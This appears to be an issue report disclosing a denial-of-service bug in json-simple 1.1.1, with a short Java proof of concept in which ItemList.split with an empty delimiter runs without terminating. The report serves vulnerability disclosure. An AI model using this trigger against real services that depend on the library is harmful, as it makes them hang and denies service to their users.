Open ChangXiaoning opened 1 year ago
If an object of ItemList splits a string into multiple parts based on an empty delimiter, it will cause a denial of service attack.
<dependency> <groupId>com.googlecode.json-simple</groupId> <artifactId>json-simple</artifactId> <version>1.1.1</version> </dependency>
import org.junit.runner.RunWith; import java.util.ArrayList; import java.util.List; import org.json.simple.*; public class ItemListFuzzerTest1 { private ItemList itemList; public static void main(String args[]) { ItemList itemList = new ItemList(); List append = new ArrayList(); itemList.split("aaaaaa", "", append, false); } }
Above code snippet will run without termination.
Description
If an object of ItemList splits a string into multiple parts based on an empty delimiter, it will cause a denial of service attack.
Version
PoC
Result
Above code snippet will run without termination.